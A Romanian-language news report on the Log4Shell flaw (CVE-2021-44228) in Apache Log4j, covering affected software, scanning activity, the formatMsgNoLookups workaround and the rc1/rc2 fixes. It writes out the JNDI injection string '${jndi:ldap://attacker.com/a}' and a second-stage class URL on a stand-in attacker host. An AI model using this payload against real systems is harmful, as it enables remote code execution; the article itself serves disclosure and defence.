O vulnerabilitate catastrofală în Apache Log4j, care afectează multe proiecte Java

În Apache Log4j, un cadru popular pentru gestionarea jurnalelor în aplicațiile Java, a fost identificată o vulnerabilitate critică care permite executarea de cod arbitrar prin înregistrarea unei valori special formate în formatul „{jndi:URL}”. Atacurile pot fi îndreptate împotriva aplicațiilor Java care înregistrează valori obținute din surse externe, de exemplu, atunci când se afișează valori problematice în mesajele de eroare.

Se observă că problema afectează aproape toate proiectele care folosesc cadre precum Apache Struts, Apache Solr, Apache Druid sau Apache Flink, inclusiv Steam, Apple iCloud, clienți și servere ale jocului Minecraft. Se așteaptă ca vulnerabilitatea să conducă la o serie de atacuri în masă asupra aplicațiilor corporative, repetând istoria vulnerabilităților critice din cadrul Apache Struts, care este estimat a fi utilizat în aplicațiile web de 65% dintre companiile din lista Fortune 100. De asemenea, au fost deja înregistrate tentative de scanare a rețelei în căutarea sistemelor vulnerabile.

Problema este agravată de faptul că a fost deja publicat un exploit funcțional, dar fixările pentru ramurile stabile nu sunt deocamdată formulate. Identificatorul CVE nu a fost încă atribuit. Corectarea a fost inclusă doar în ramura de testare log4j-2.15.0-rc1. Ca soluție alternativă pentru blocarea vulnerabilității, se recomandă setarea parametrului log4j2.formatMsgNoLookups pe true.

Problema a fost cauzată de faptul că log4j suportă procesarea unor măști speciale „{}” în liniile înregistrate, în care se pot executa solicitări JNDI (Java Naming and Directory Interface). Atacul constă în transmiterea unei linii cu substituția „${jndi:ldap://attacker.com/a}”, care, atunci când este procesată, va trimite log4j la serverul attacker.com o solicitare LDAP pentru calea către clasa Java. Calea returnată serverul a atacatorului (de exemplu, http://second-stage.attacker.com/Exploit.class) va fi descărcată și executată în contextul procesului curent, permițând atacatorului să obțină executarea de cod arbitrar în sistem cu drepturile aplicației curente.

Complement 1: Vulnerabilității i-a fost atribuit identificatorul CVE-2021-44228.

Complement 2: A fost identificată o modalitate de ocolire a protecției adăugate în versiunea log4j-2.15.0-rc1. A fost propusă o nouă actualizare log4j-2.15.0-rc2 cu o protecție mai completă împotriva vulnerabilității. În cod se evidențiază modificarea legată de lipsa unei opriri indisponibile în cazul utilizării unui URL JNDI format incorect.

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster